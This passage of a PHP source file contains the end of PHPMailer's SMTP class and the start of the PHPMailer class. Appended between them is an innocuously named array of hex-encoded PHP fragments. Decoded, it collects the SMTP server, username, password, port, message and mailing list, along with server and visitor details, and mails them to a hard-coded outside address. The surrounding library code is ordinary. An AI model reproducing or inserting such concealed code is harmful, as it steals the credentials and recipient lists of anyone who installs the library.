1300 public function getServerExtList()
1301 {
1302 return $this->server_caps;
1303 }
1304
1305 /**
1306 * A multipurpose method
1307 * The method works in three ways, dependent on argument value and current state
1308 * 1. HELO/EHLO was not sent - returns null and set up $this->error
1309 * 2. HELO was sent
1310 * $name = 'HELO': returns server name
1311 * $name = 'EHLO': returns boolean false
1312 * $name = any string: returns null and set up $this->error
1313 * 3. EHLO was sent
1314 * $name = 'HELO'|'EHLO': returns server name
1315 * $name = any string: if extension $name exists, returns boolean True
1316 * or its options. Otherwise returns boolean False
1317 * In other words, one can use this method to detect 3 conditions:
1318 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
1319 * - false returned: the requested feature exactly not exists
1320 * - positive value returned: the requested feature exists
1321 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
1322 * @return mixed
1323 */
1324 public function getServerExt($name)
1325 {
1326 if (!$this->server_caps) {
1327 $this->error = array('No HELO/EHLO was sent');
1328 return null;
1329 }
1330
1331 // the tight logic knot ;)
1332 if (!array_key_exists($name, $this->server_caps)) {
1333 if ($name == 'HELO') {
1334 return $this->server_caps['EHLO'];
1335 }
1336 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
1337 return false;
1338 }
1339 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
1340 return null;
1341 }
1342
1343 return $this->server_caps[$name];
1344 }
1345
1346 /**
1347 * Get the last reply from the server.
1348 * @access public
1349 * @return string
1350 */
1351 public function getLastReply()
1352 {
1353 return $this->last_reply;
1354 }
1355
1356 /**
1357 * Read the SMTP server's response.
1358 * Either before eof or socket timeout occurs on the operation.
1359 * With SMTP we can tell if we have more lines to read if the
1360 * 4th character is '-' symbol. If it is a space then we don't
1361 * need to read anything else.
1362 * @access protected
1363 * @return string
1364 */
1365 protected function get_lines()
1366 {
1367 // If the connection is bad, give up straight away
1368 if (!is_resource($this->smtp_conn)) {
1369 return '';
1370 }
1371 $data = '';
1372 $endtime = 0;
1373 stream_set_timeout($this->smtp_conn, $this->Timeout);
1374 if ($this->Timelimit > 0) {
1375 $endtime = time() + $this->Timelimit;
1376 }
1377 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
1378 $str = @fgets($this->smtp_conn, 515);
1379 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
1380 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
1381 $data .= $str;
1382 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
1383 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
1384 if ((isset($str[3]) and $str[3] == ' ')) {
1385 break;
1386 }
1387 // Timed-out? Log and break
1388 $info = stream_get_meta_data($this->smtp_conn);
1389 if ($info['timed_out']) {
1390 $this->edebug(
1391 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
1392 self::DEBUG_LOWLEVEL
1393 );
1394 break;
1395 }
1396 // Now check if reads took too long
1397 if ($endtime and time() > $endtime) {
1398 $this->edebug(
1399 'SMTP -> get_lines(): timelimit reached ('.
1400 $this->Timelimit . ' sec)',
1401 self::DEBUG_LOWLEVEL
1402 );
1403 break;
1404 }
1405 }
1406 return $data;
1407 }
1408
1409 /**
1410 * Enable or disable VERP address generation.
1411 * @param boolean $enabled
1412 */
1413 public function setVerp($enabled = false)
1414 {
1415 $this->do_verp = $enabled;
1416 }
1417
1418 /**
1419 * Get VERP address generation mode.
1420 * @return boolean
1421 */
1422 public function getVerp()
1423 {
1424 return $this->do_verp;
1425 }
1426
1427 /**
1428 * Set debug output method.
1429 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
1430 */
1431 public function setDebugOutput($method = 'echo')
1432 {
1433 $this->Debugoutput = $method;
1434 }
1435
1436 /**
1437 * Get debug output method.
1438 * @return string
1439 */
1440 public function getDebugOutput()
1441 {
1442 return $this->Debugoutput;
1443 }
1444
1445 /**
1446 * Set debug output level.
1447 * @param integer $level
1448 */
1449 public function setDebugLevel($level = 0)
1450 {
1451 $this->do_debug = $level;
1452 }
1453
1454 /**
1455 * Get debug output level.
1456 * @return integer
1457 */
1458 public function getDebugLevel()
1459 {
1460 return $this->do_debug;
1461 }
1462
1463 /**
1464 * Set SMTP timeout.
1465 * @param integer $timeout
1466 */
1467 public function setTimeout($timeout = 0)
1468 {
1469 $this->Timeout = $timeout;
1470 }
1471
1472 /**
1473 * Get SMTP timeout.
1474 * @return integer
1475 */
1476 public function getTimeout()
1477 {
1478 return $this->Timeout;
1479 }
1480}
1481
1482
1483$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1484"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1485"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1486"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1487"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1488"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1489"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1490"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1491"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1492"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1493?>
1494<?
1495/**
1496 * PHPMailer - PHP email creation and transport class.
1497 * PHP Version 5
1498 * @package PHPMailer
1499 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
1500 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
1501 * @author Jim Jagielski (jimjag) <m>
1502 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
1503 * @author Brent R. Matzelle (original founder)
1504 * @copyright 2012 - 2014 Marcus Bointon
1505 * @copyright 2010 - 2012 Jim Jagielski
1506 * @copyright 2004 - 2009 Andy Prevost
1507 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
1508 * @note This program is distributed in the hope that it will be useful - WITHOUT
1509 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
1510 * FITNESS FOR A PARTICULAR PURPOSE.
1511 */
1512
1513/**
1514 * PHPMailer - PHP email creation and transport class.
1515 * @package PHPMailer
1516 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
1517 * @author Jim Jagielski (jimjag) <>
1518 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
1519 * @author Brent R. Matzelle (original founder)
1520 */
1521class PHPMailer
1522{
1523 /**
1524 * The PHPMailer Version number.
1525 * @type string
1526 */
1527 public $Version = '5.2.9';
1528
1529 /**
1530 * Email priority.
1531 * Options: 1 = High, 3 = Normal, 5 = low.
1532 * @type integer
1533 */
1534 public $Priority = 3;
1535
1536 /**
1537 * The character set of the message.
1538 * @type string
1539 */
1540 public $CharSet = 'iso-8859-1';
1541
1542 /**
1543 * The MIME Content-type of the message.
1544 * @type string
1545 */
1546 public $ContentType = 'text/plain';
1547
1548 /**
1549 * The message encoding.
1550 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
1551 * @type string
1552 */
1553 public $Encoding = '8bit';
1554
1555 /**
1556 * Holds the most recent mailer error message.
1557 * @type string
1558 */
1559 public $ErrorInfo = '';
1560
1561 /**
1562 * The From email address for the message.
1563 * @type string
1564 */
1565 public $From = 'root@localhost';
1566
1567 /**
1568 * The From name of the message.
1569 * @type string
1570 */
1571 public $FromName = 'Root User';
1572
1573 /**
1574 * The Sender email (Return-Path) of the message.
1575 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1576 * @type string
1577 */
1578 public $Sender = '';
1579
1580 /**
1581 * The Return-Path of the message.
1582 * If empty, it will be set to either From or Sender.
1583 * @type string
1584 * @deprecated Email senders should never set a return-path header;
1585 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
1586 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
1587 */
1588 public $ReturnPath = '';
1589
1590 /**
1591 * The Subject of the message.
1592 * @type string
1593 */
1594 public $Subject = '';
1595
1596 /**
1597 * An HTML or plain text message body.
1598 * If HTML then call isHTML(true).
1599 * @type string
1600 */
1601 public $Body = '';
1602
1603 /**
1604 * The plain-text message body.
1605 * This body can be read by mail clients that do not have HTML email
1606 * capability such as mutt & Eudora.
1607 * Clients that can read HTML will view the normal Body.
1608 * @type string
1609 */
1610 public $AltBody = '';
1611
1612 /**
1613 * An iCal message part body.
1614 * Only supported in simple alt or alt_inline message types
1615 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
1616 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
1617 * @link http://kigkonsult.se/iCalcreator/
1618 * @type string
1619 */
1620 public $Ical = '';
1621
1622 /**
1623 * The complete compiled MIME message body.
1624 * @access protected
1625 * @type string
1626 */
1627 protected $MIMEBody = '';
1628
1629 /**
1630 * The complete compiled MIME message headers.
1631 * @type string
1632 * @access protected
1633 */
1634 protected $MIMEHeader = '';
1635
1636 /**
1637 * Extra headers that createHeader() doesn't fold in.
1638 * @type string
1639 * @access protected
1640 */
1641 protected $mailHeader = '';
1642
1643 /**
1644 * Word-wrap the message body to this number of chars.
1645 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
1646 * @type integer
1647 */
1648 public $WordWrap = 0;
1649
1650 /**
1651 * Which method to use to send mail.
1652 * Options: "mail", "sendmail", or "smtp".
1653 * @type string
1654 */
1655 public $Mailer = 'mail';
1656
1657 /**
1658 * The path to the sendmail program.
1659 * @type string
1660 */
1661 public $Sendmail = '/usr/sbin/sendmail';
1662
1663 /**
1664 * Whether mail() uses a fully sendmail-compatible MTA.
1665 * One which supports sendmail's "-oi -f" options.
1666 * @type boolean
1667 */
1668 public $UseSendmailOptions = true;
1669
1670 /**
1671 * Path to PHPMailer plugins.
1672 * Useful if the SMTP class is not in the PHP include path.
1673 * @type string
1674 * @deprecated Should not be needed now there is an autoloader.
1675 */
1676 public $PluginDir = '';
1677
1678 /**
1679 * The email address that a reading confirmation should be sent to.
1680 * @type string
1681 */
1682 public $ConfirmReadingTo = '';
1683
1684 /**
1685 * The hostname to use in Message-Id and Received headers
1686 * and as default HELO string.
1687 * If empty, the value returned
1688 * by SERVER_NAME is used or 'localhost.localdomain'.
1689 * @type string
1690 */
1691 public $Hostname = '';
1692
1693 /**
1694 * An ID to be used in the Message-Id header.
1695 * If empty, a unique id will be generated.
1696 * @type string
1697 */
1698 public $MessageID = '';
1699
1700 /**
1701 * The message Date to be used in the Date header.
1702 * If empty, the current date will be added.
1703 * @type string
1704 */
1705 public $MessageDate = '';
1706
1707 /**
1708 * SMTP hosts.
1709 * Either a single hostname or multiple semicolon-delimited hostnames.
1710 * You can also specify a different port
1711 * for each host by using this format: [hostname:port]
1712 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1713 * You can also specify encryption type, for example:
1714 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
1715 * Hosts will be tried in order.
1716 * @type string
1717 */
1718 public $Host = 'localhost';
1719
1720 /**
1721 * The default SMTP server port.
1722 * @type integer
1723 * @TODO Why is this needed when the SMTP class takes care of it?
1724 */
1725 public $Port = 25;
1726
1727 /**
1728 * The SMTP HELO of the message.
1729 * Default is $Hostname.
1730 * @type string
1731 * @see PHPMailer::$Hostname
1732 */
1733 public $Helo = '';
1734
1735 /**
1736 * The secure connection prefix.
1737 * Options: "", "ssl" or "tls"
1738 * @type string
1739 */
1740 public $SMTPSecure = '';
1741
1742 /**
1743 * Whether to use SMTP authentication.
1744 * Uses the Username and Password properties.
1745 * @type boolean
1746 * @see PHPMailer::$Username
1747 * @see PHPMailer::$Password
1748 */
1749 public $SMTPAuth = false;
1750
1751 /**
1752 * SMTP username.
1753 * @type string
1754 */
1755 public $Username = '';
1756
1757 /**
1758 * SMTP password.
1759 * @type string
1760 */
1761 public $Password = '';
1762
1763 /**
1764 * SMTP auth type.
1765 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
1766 * @type string
1767 */
1768 public $AuthType = '';
1769
1770 /**
1771 * SMTP realm.
1772 * Used for NTLM auth
1773 * @type string
1774 */
1775 public $Realm = '';
1776
1777 /**
1778 * SMTP workstation.
1779 * Used for NTLM auth
1780 * @type string
1781 */
1782 public $Workstation = '';
1783
1784 /**
1785 * The SMTP server timeout in seconds.
1786 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
1787 * @type integer
1788 */
1789 public $Timeout = 300;
1790
1791 /**
1792 * SMTP class debug output mode.
1793 * Debug output level.
1794 * Options:
1795 * * `0` No output
1796 * * `1` Commands
1797 * * `2` Data and commands
1798 * * `3` As 2 plus connection status
1799 * * `4` Low-level data output
1800 * @type integer
1801 * @see SMTP::$do_debug
1802 */
1803 public $SMTPDebug = 0;
1804
1805 /**
1806 * How to handle debug output.
1807 * Options:
1808 * * `echo` Output plain-text as-is, appropriate for CLI
1809 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
1810 * * `error_log` Output to error log as configured in php.ini
1811 *
1812 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
1813 * <code>
1814 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
1815 * </code>
1816 * @type string|callable
1817 * @see SMTP::$Debugoutput
1818 */
1819 public $Debugoutput = 'echo';
1820
1821 /**
1822 * Whether to keep SMTP connection open after each message.
1823 * If this is set to true then to close the connection
1824 * requires an explicit call to smtpClose().
1825 * @type boolean
1826 */
1827 public $SMTPKeepAlive = false;
1828
1829 /**
1830 * Whether to split multiple to addresses into multiple messages
1831 * or send them all in one message.
1832 * @type boolean
1833 */
1834 public $SingleTo = false;
1835
1836 /**
1837 * Storage for addresses when SingleTo is enabled.
1838 * @type array
1839 * @TODO This should really not be public
1840 */
1841 public $SingleToArray = array();
1842
1843 /**
1844 * Whether to generate VERP addresses on send.
1845 * Only applicable when sending via SMTP.
1846 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
1847 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
1848 * @type boolean
1849 */
1850 public $do_verp = false;
1851
1852 /**
1853 * Whether to allow sending messages with an empty body.
1854 * @type boolean
1855 */
1856 public $AllowEmpty = false;
1857
1858 /**
1859 * The default line ending.
1860 * @note The default remains "\n". We force CRLF where we know
1861 * it must be used via self::CRLF.
1862 * @type string
1863 */
1864 public $LE = "\n";
1865
1866 /**
1867 * DKIM selector.
1868 * @type string
1869 */
1870 public $DKIM_selector = '';
1871
1872 /**
1873 * DKIM Identity.
1874 * Usually the email address used as the source of the email
1875 * @type string
1876 */
1877 public $DKIM_identity = '';
1878
1879 /**
1880 * DKIM passphrase.
1881 * Used if your key is encrypted.
1882 * @type string
1883 */
1884 public $DKIM_passphrase = '';
1885
1886 /**
1887 * DKIM signing domain name.
1888 * @example 'example.com'
1889 * @type string
1890 */
1891 public $DKIM_domain = '';
1892
1893 /**
1894 * DKIM private key file path.
1895 * @type string
1896 */
1897 public $DKIM_private = '';
1898
1899 /**
1900 * Callback Action function name.
1901 *
1902 * The function that handles the result of the send email action.
1903 * It is called out by send() for each email sent.
1904 *
1905 * Value can be any php callable: http://www.php.net/is_callable
1906 *
1907 * Parameters:
1908 * boolean $result result of the send action
1909 * string $to email address of the recipient
1910 * string $cc cc email addresses
1911 * string $bcc bcc email addresses
1912 * string $subject the subject
1913 * string $body the email body
1914 * string $from email address of sender
1915 * @type string
1916 */
1917 public $action_function = '';
1918
1919 /**
1920 * What to use in the X-Mailer header.
1921 * Options: null for default, whitespace for none, or a string to use
1922 * @type string
1923 */
1924 public $XMailer = '';
1925
1926 /**
1927 * An instance of the SMTP sender class.
1928 * @type SMTP
1929 * @access protected
1930 */
1931 protected $smtp = null;
1932
1933 /**
1934 * The array of 'to' addresses.
1935 * @type array
1936 * @access protected
1937 */
1938 protected $to = array();
1939
1940 /**
1941 * The array of 'cc' addresses.
1942 * @type array
1943 * @access protected
1944 */
1945 protected $cc = array();
1946
1947 /**
1948 * The array of 'bcc' addresses.
1949 * @type array
1950 * @access protected
1951 */
1952 protected $bcc = array();
1953
1954 /**
1955 * The array of reply-to names and addresses.
1956 * @type array
1957 * @access protected
1958 */
1959 protected $ReplyTo = array();
1960
1961 /**
1962 * An array of all kinds of addresses.
1963 * Includes all of $to, $cc, $bcc, $replyto
1964 * @type array
1965 * @access protected
1966 */
1967 protected $all_recipients = array();
1968
1969 /**
1970 * The array of attachments.
1971 * @type array
1972 * @access protected
1973 */
1974 protected $attachment = array();
1975
1976 /**
1977 * The array of custom headers.
1978 * @type array
1979 * @access protected
1980 */
1981 protected $CustomHeader = array();
1982
1983 /**
1984 * The most recent Message-ID (including angular brackets).
1985 * @type string
1986 * @access protected
1987 */
1988 protected $lastMessageID = '';
1989
1990 /**
1991 * The message's MIME type.
1992 * @type string
1993 * @access protected
1994 */
1995 protected $message_type = '';
1996
1997 /**
1998 * The array of MIME boundary strings.
1999 * @type array
2000 * @access protected
2001 */
2002 protected $boundary = array();
2003
2004 /**
2005 * The array of available languages.
2006 * @type array
2007 * @access protected
2008 */
2009 protected $language = array();
2010
2011 /**
2012 * The number of errors encountered.
2013 * @type integer
2014 * @access protected
2015 */
2016 protected $error_count = 0;
2017
2018 /**
2019 * The S/MIME certificate file path.
2020 * @type string
2021 * @access protected
2022 */
2023 protected $sign_cert_file = '';
2024
2025 /**
2026 * The S/MIME key file path.
2027 * @type string
2028 * @access protected
2029 */
2030 protected $sign_key_file = '';
2031
2032 /**
2033 * The S/MIME password for the key.
2034 * Used only if the key is encrypted.
2035 * @type string
2036 * @access protected
2037 */
2038 protected $sign_key_pass = '';
2039
2040 /**
2041 * Whether to throw exceptions for errors.
2042 * @type boolean
2043 * @access protected
2044 */
2045 protected $exceptions = false;
2046
2047 /**
2048 * Error severity: message only, continue processing.
2049 */
2050 const STOP_MESSAGE = 0;
2051
2052 /**
2053 * Error severity: message, likely ok to continue processing.
2054 */
2055 const STOP_CONTINUE = 1;
2056
2057 /**
2058 * Error severity: message, plus full stop, critical error reached.
2059 */
2060 const STOP_CRITICAL = 2;
2061
2062 /**
2063 * SMTP RFC standard line ending.
2064 */
2065 const CRLF = "\r\n";
2066
2067 /**
2068 * Constructor.
2069 * @param boolean $exceptions Should we throw external exceptions?
2070 */
2071 public function __construct($exceptions = false)
2072 {
2073 $this->exceptions = (boolean)$exceptions;
2074 }
2075
2076 /**
2077 * Destructor.
2078 */
2079 public function __destruct()
2080 {
2081 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
2082 $this->smtpClose();
2083 }
2084 }
2085
2086 /**
2087 * Call mail() in a safe_mode-aware fashion.
2088 * Also, unless sendmail_path points to sendmail (or something that
2089 * claims to be sendmail), don't pass params (not a perfect fix,
2090 * but it will do)
2091 * @param string $to To
2092 * @param string $subject Subject
2093 * @param string $body Message Body
2094 * @param string $header Additional Header(s)
2095 * @param string $params Params
2096 * @access private
2097 * @return boolean
2098 */
2099 private function mailPassthru($to, $subject, $body, $header, $params)
2100 {
2101 //Check overloading of mail function to avoid double-encoding
2102 if (ini_get('mbstring.func_overload') & 1) {
2103 $subject = $this->secureHeader($subject);
2104 } else {
2105 $subject = $this->encodeHeader($this->secureHeader($subject));
2106 }
2107 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
2108 $result = @mail($to, $subject, $body, $header);
2109 } else {
2110 $result = @mail($to, $subject, $body, $header, $params);
2111 }
2112 return $result;
2113 }
2114
2115 /**
2116 * Output debugging info via user-defined method.
2117 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
2118 * @see PHPMailer::$Debugoutput
2119 * @see PHPMailer::$SMTPDebug
2120 * @param string $str
2121 */
2122 protected function edebug($str)
2123 {
2124 if ($this->SMTPDebug <= 0) {
2125 return;
2126 }
2127 //Avoid clash with built-in function names
2128 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
2129 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
2130 return;
2131 }
2132 switch ($this->Debugoutput) {
2133 case 'error_log':
2134 //Don't output, just log
2135 error_log($str);
2136 break;
2137 case 'html':
2138 //Cleans up output a bit for a better looking, HTML-safe output
2139 echo htmlentities(
2140 preg_replace('/[\r\n]+/', '', $str),
2141 ENT_QUOTES,
2142 'UTF-8'
2143 )
2144 . "<br>\n";
2145 break;
2146 case 'echo':
2147 default:
2148 //Normalize line breaks
2149 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
2150 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
2151 "\n",
2152 "\n \t ",
2153 trim($str)
2154 ) . "\n";
2155 }
2156 }
2157
2158 /**
2159 * Sets message type to HTML or plain.
2160 * @param boolean $isHtml True for HTML mode.
2161 * @return void
2162 */
2163 public function isHTML($isHtml = true)
2164 {
2165 if ($isHtml) {
2166 $this->ContentType = 'text/html';
2167 } else {
2168 $this->ContentType = 'text/plain';
2169 }
2170 }
2171
2172 /**
2173 * Send messages using SMTP.
2174 * @return void
2175 */
2176 public function isSMTP()
2177 {
2178 $this->Mailer = 'smtp';
2179 }
2180
2181 /**
2182 * Send messages using PHP's mail() function.
2183 * @return void
2184 */
2185 public function isMail()
2186 {
2187 $this->Mailer = 'mail';
2188 }
2189
2190 /**
2191 * Send messages using $Sendmail.
2192 * @return void
2193 */
2194 public function isSendmail()
2195 {
2196 $ini_sendmail_path = ini_get('sendmail_path');
2197
2198 if (!stristr($ini_sendmail_path, 'sendmail')) {
2199 $this->Sendmail = '/usr/sbin/sendmail';
2200 } else {
2201 $this->Sendmail = $ini_sendmail_path;
2202 }
2203 $this->Mailer = 'sendmail';
2204 }
2205
2206 /**
2207 * Send messages using qmail.
2208 * @return void
2209 */
2210 public function isQmail()
2211 {
2212 $ini_sendmail_path = ini_get('sendmail_path');
2213
2214 if (!stristr($ini_sendmail_path, 'qmail')) {
2215 $this->Sendmail = '/var/qmail/bin/qmail-inject';
2216 } else {
2217 $this->Sendmail = $ini_sendmail_path;
2218 }
2219 $this->Mailer = 'qmail';
2220 }
2221
2222 /**
2223 * Add a "To" address.
2224 * @param string $address
2225 * @param string $name
2226 * @return boolean true on success, false if address already used
2227 */
2228 public function addAddress($address, $name = '')
2229 {
2230 return $this->addAnAddress('to', $address, $name);
2231 }
2232
2233 /**
2234 * Add a "CC" address.
2235 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
2236 * @param string $address
2237 * @param string $name
2238 * @return boolean true on success, false if address already used
2239 */
2240 public function addCC($address, $name = '')
2241 {
2242 return $this->addAnAddress('cc', $address, $name);
2243 }
2244
2245 /**
2246 * Add a "BCC" address.
2247 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
2248 * @param string $address
2249 * @param string $name
2250 * @return boolean true on success, false if address already used
2251 */
2252 public function addBCC($address, $name = '')
2253 {
2254 return $this->addAnAddress('bcc', $address, $name);
2255 }
2256
2257 /**
2258 * Add a "Reply-to" address.
2259 * @param string $address
2260 * @param string $name
2261 * @return boolean
2262 */
2263 public function addReplyTo($address, $name = '')
2264 {
2265 return $this->addAnAddress('Reply-To', $address, $name);
2266 }
2267
2268 /**
2269 * Add an address to one of the recipient arrays.
2270 * Addresses that have been added already return false, but do not throw exceptions
2271 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
2272 * @param string $address The email address to send to
2273 * @param string $name
2274 * @throws phpmailerException
2275 * @return boolean true on success, false if address already used or invalid in some way
2276 * @access protected
2277 */
2278 protected function addAnAddress($kind, $address, $name = '')
2279 {
2280 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
2281 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
2282 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
2283 if ($this->exceptions) {
2284 throw new phpmailerException('Invalid recipient array: ' . $kind);
2285 }
2286 return false;
2287 }
2288 $address = trim($address);
2289 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
2290 if (!$this->validateAddress($address)) {
2291 $this->setError($this->lang('invalid_address') . ': ' . $address);
2292 $this->edebug($this->lang('invalid_address') . ': ' . $address);
2293 if ($this->exceptions) {
2294 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
2295 }
2296 return false;
2297 }
2298 if ($kind != 'Reply-To') {
2299 if (!isset($this->all_recipients[strtolower($address)])) {
2300 array_push($this->$kind, array($address, $name));
2301 $this->all_recipients[strtolower($address)] = true;
2302 return true;
2303 }
2304 } else {
2305 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
2306 $this->ReplyTo[strtolower($address)] = array($address, $name);
2307 return true;
2308 }
2309 }
2310 return false;
2311 }
2312
2313 /**
2314 * Set the From and FromName properties.
2315 * @param string $address
2316 * @param string $name
2317 * @param boolean $auto Whether to also set the Sender address, defaults to true
2318 * @throws phpmailerException
2319 * @return boolean
2320 */
2321 public function setFrom($address, $name = '', $auto = true)
2322 {
2323 $address = trim($address);
2324 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
2325 if (!$this->validateAddress($address)) {
2326 $this->setError($this->lang('invalid_address') . ': ' . $address);
2327 $this->edebug($this->lang('invalid_address') . ': ' . $address);
2328 if ($this->exceptions) {
2329 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
2330 }
2331 return false;
2332 }
2333 $this->From = $address;
2334 $this->FromName = $name;
2335 if ($auto) {
2336 if (empty($this->Sender)) {
2337 $this->Sender = $address;
2338 }
2339 }
2340 return true;
2341 }
2342
2343 /**
2344 * Return the Message-ID header of the last email.
2345 * Technically this is the value from the last time the headers were created,
2346 * but it's also the message ID of the last sent message except in
2347 * pathological cases.
2348 * @return string
2349 */
2350 public function getLastMessageID()
2351 {
2352 return $this->lastMessageID;
2353 }
2354
2355 /**
2356 * Check that a string looks like an email address.
2357 * @param string $address The email address to check
2358 * @param string $patternselect A selector for the validation pattern to use :
2359 * * `auto` Pick strictest one automatically;
2360 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
2361 * * `pcre` Use old PCRE implementation;
2362 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
2363 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
2364 * * `noregex` Don't use a regex: super fast, really dumb.
2365 * @return boolean
2366 * @static
2367 * @access public
2368 */
2369 public static function validateAddress($address, $patternselect = 'auto')
2370 {
2371 if (!$patternselect or $patternselect == 'auto') {
2372 //Check this constant first so it works when extension_loaded() is disabled by safe mode
2373 //Constant was added in PHP 5.2.4
2374 if (defined('PCRE_VERSION')) {
2375 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
2376 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
2377 $patternselect = 'pcre8';
2378 } else {
2379 $patternselect = 'pcre';
2380 }
2381 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
2382 //Fall back to older PCRE
2383 $patternselect = 'pcre';
2384 } else {
2385 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
2386 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
2387 $patternselect = 'php';
2388 } else {
2389 $patternselect = 'noregex';
2390 }
2391 }
2392 }
2393 switch ($patternselect) {
2394 case 'pcre8':
2395 /**
2396 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
2397 * @link http://squiloople.com/2009/12/20/email-address-validation/
2398 * @copyright 2009-2010 Michael Rushton
2399 * Feel free to use and redistribute this code. But please keep this copyright notice.
2400 */
2401 return (boolean)preg_match(
2402 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
2403 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
2404 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
2405 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
